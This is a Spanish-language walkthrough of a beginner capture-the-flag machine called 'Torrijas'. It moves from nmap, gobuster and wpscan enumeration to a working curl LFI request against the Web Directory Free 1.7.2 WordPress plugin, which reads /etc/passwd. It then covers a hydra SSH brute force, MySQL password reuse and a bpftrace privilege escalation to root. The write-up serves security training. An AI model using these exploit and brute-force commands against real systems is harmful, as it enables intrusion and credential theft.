Torrijas

Categoría

  • Principiante

  • OS - Linux

  • Seguridad Ofensiva

Enumeración

Realizaremos la primera fase del reconocimiento utilizando la herramienta Nmap, con los siguientes parámetros:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.246.130 -oG AllPorts
sudo nmap -sC -sV -p22,80,3306 192.168.246.130 -oN Targeted

Los puertos 22 (SSH), 80 (HTTP) y 3306 (MySQL) están expuestos. Sin credenciales válidas, por ahora no es posible realizar un ataque contra SSH o MySQL.

Para analizar el puerto 80, prefiero utilizar WhatWeb, ya que me permite obtener información relevante sobre el servidor antes de interactuar directamente desde el navegador. Esta herramienta ayuda a identificar tecnologías, versiones y posibles vectores de ataque en el servicio web.

 whatweb http://192.168.246.130

Además, suelo utilizar la herramienta cURL con el parámetro -I, ya que me permite examinar las cabeceras de respuesta del servidor sin necesidad de cargar completamente la página. Esto es útil para identificar información como el servidor web, métodos permitidos, políticas de seguridad (CSP, CORS), redirecciones y otros detalles que pueden ser clave para la fase de enumeración.

curl -I http://192.168.246.130

Abrimos nuestro navegador e ingresamos la dirección IP del objetivo. Al hacerlo, nos encontramos con una página web que será nuestro punto de partida para el análisis. A partir de aquí, podemos inspeccionar el código fuente, interactuar con los elementos visibles y buscar posibles vectores de ataque.

Otra herramienta útil que tenemos instalada en el navegador es Wappalyzer. Esta extensión nos permite identificar rápidamente las tecnologías utilizadas en la página web, como el CMS, frameworks, servidor web, bibliotecas JavaScript y otras tecnologías relevantes.

Al interactuar con la página web, observamos que su contenido es estático, lo que sugiere que no hay funcionalidades dinámicas visibles a simple vista.

Para descubrir archivos ocultos, directorios o rutas sensibles, realizaremos un fuzzing web utilizando la herramienta Gobuster. Esta técnica nos permitirá enumerar posibles puntos de entrada que no son accesibles desde la interfaz visible del sitio.

gobuster dir -u http://192.168.246.130 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,txt,php -t 200 --no-error

Durante la enumeración de directorios, encontramos la ruta /wordpress. Al acceder, observamos que el título del sitio es "Torrijas El Primo", lo que indica que estamos ante una instalación de WordPress. Al revisar el código fuente de la página, no encontramos indicios de que se esté utilizando Virtual Hosting, ni de que haya redirecciones hacia un dominio específico.

Esto sugiere que la aplicación web está funcionando directamente sobre la dirección IP o un único dominio.

Realizaremos una nueva enumeración con Gobuster, pero esta vez enfocándonos en la ruta /wordpress.

gobuster dir -u http://192.168.246.130/wordpress -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,txt,php -t 200 --no-error

Habiendo enumerado rutas comunes dentro de la instalación de WordPress, decidimos dar el siguiente paso y utilizar WPScan. Esta herramienta está especialmente diseñada para realizar un análisis profundo de sitios web basados en WordPress, identificando vulnerabilidades comunes como:

  • Plugins y temas vulnerables

  • Versiones de WordPress expuestas

  • Usuarios registrados

  • Archivos sensibles, como wp-config.php

  • Riesgos de fuerza bruta en el login

wpscan --url http://192.168.246.130/wordpress --enumerate u ap

Durante el análisis con WPScan, identificamos al usuario "administrator" y realizamos un ataque de fuerza bruta con el diccionario RockYou, pero lo cancelamos por falta de resultados. Luego, decidimos enfocarnos en una enumeración agresiva de plugins para buscar vulnerabilidades conocidas.

Explotación

wpscan --url http://192.168.246.130/wordpress --enumerate ap --force --plugins-detection mixed

Durante la enumeración de plugins con WPScan, encontramos dos complementos:

  • Akismet 5.3.6, el cual está actualizado a su última versión.

  • Web Directory Free 1.7.2, que se encuentra desactualizado.

WPScan nos alerta sobre la versión obsoleta de Web Directory Free, lo que indica que podría contener vulnerabilidades conocidas. Realizaremos una búsqueda en Google para verificar si esta versión tiene fallos de seguridad documentados

Hemos encontrado una vulnerabilidad de Local File Inclusion (LFI) en el plugin Web Directory Free 1.7.2. Esto nos permite acceder y leer archivos del sistema en el servidor, lo que podría exponer información sensible como:

  • /etc/passwd (en sistemas Linux, para enumerar usuarios)

Siguiendo el enlace, encontramos un Proof of Concept (PoC).

curl -X POST http://192.168.246.130/wordpress/wp-admin/admin-ajax.php -d "from_set_ajax=1&action=w2dc_controller_request&template=../../../../../../../../etc/passwd"

Al interpretar los datos extraídos, confirmamos que hemos obtenido información del archivo /etc/passwd, lo que nos permite enumerar los usuarios del sistema.

En mi caso, prefiero simplificar el proceso y recurrir a herramientas como IA para formatear el texto de manera clara y ordenada. Esto facilita la identificación de usuarios clave y posibles vectores de ataque.

{
  "html": "root:x:0:0:root:/root:/bin/bash\n\
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\
bin:x:2:2:bin:/bin:/usr/sbin/nologin\n\
sys:x:3:3:sys:/dev:/usr/sbin/nologin\n\
sync:x:4:65534:sync:/bin:/bin/sync\n\
games:x:5:60:games:/usr/games:/usr/sbin/nologin\n\
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n\
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n\
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n\
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n\
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n\
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n\
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n\
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n\
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n\
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n\
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n\
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n\
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n\
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin\n\
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin\n\
debian:x:1000:1000:debian,,,:/home/debian:/bin/bash\n\
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false\n\
primo:x:1001:1001::/home/primo:/bin/bash\n\
premo:x:1002:1002::/home/premo:/bin/bash",
  "hash": "579ae1f8d6c64caab6846f3330352237",
  "map_markers": "",
  "map_listings": "",
  "hide_show_more_listings_button": 1,
  "sql": "",
  "params": "",
  "base_url": "http://192.168.18.57/wordpress"
}

Durante la enumeración del archivo /etc/passwd, identificamos dos usuarios del sistema:

  • Primo

  • Premo

Dado que el puerto 22 (SSH) está expuesto, intentaremos realizar un ataque de fuerza bruta contra el servicio SSH, con el objetivo de obtener credenciales válidas.

hydra -l premo -P /usr/share/wordlists/rockyou.txt ssh://192.168.246.130 -t 64

Hemos conseguido credenciales válidas tras el ataque de fuerza bruta, lo que nos permite acceder al sistema a través de SSH. Procedemos a conectarnos con el siguiente comando:

ssh premo@192.168.246.130

Escalada de Privilegios

Dado que estamos frente a una instalación de WordPress y el puerto 3306 (MySQL) está expuesto, nuestro siguiente objetivo es buscar credenciales de la base de datos.

Uno de los archivos clave en WordPress es wp-config.php, ubicado generalmente en /var/www/html/. Este archivo contiene información sensible, incluyendo:

  • Credenciales de MySQL (DB_USER, DB_PASSWORD)

  • Nombre de la base de datos (DB_NAME)

Hemos obtenido credenciales válidas para acceder a la base de datos MySQL.

mysql -u admin -p

Hemos obtenido el hash MD5 de WordPress del usuario "administrator", pero dado que ya hemos logrado la intrusión al sistema, su utilidad es limitada. Aun así, podríamos intentar crackearlo para verificar si el usuario reutiliza la misma contraseña en otros servicios, como SSH o sudo.

Sin embargo, en lugar de enfocarnos únicamente en el usuario administrator, podríamos probar algo más interesante:

💡 Intentar conectarnos como el usuario root en MySQL

En Linux, el usuario con mayores privilegios es root.

mysql -u root -p

Al conectarnos a MySQL con el usuario root, confirmamos la reutilización de contraseñas y tuvimos acceso a múltiples bases de datos y tablas, lo que nos permitió encontrar la contraseña en texto plano del usuario "primo", logrando un pivoting de usuario.

Al verificar en GTFOBins, confirmamos que el binario /usr/bin/bpftrace puede ser explotado para obtener privilegios elevados sin necesidad de proporcionar una contraseña de root.

bpftrace es un lenguaje de trazado de alto nivel para Linux que utiliza eBPF para realizar un seguimiento dinámico del kernel y de los usuarios.

Dado que el usuario "primo" tiene permisos para ejecutar bpftrace sin necesidad de autenticación adicional, podemos aprovechar esta vulnerabilidad para ejecutar un shell con privilegios elevados.

# whoami
root

Conclusiones

La máquina vulnerable presentaba múltiples vectores de ataque, desde la explotación de un LFI hasta la escalación de privilegios a través de binarios mal configurados, lo que permitió comprometer completamente el sistema.

Last updated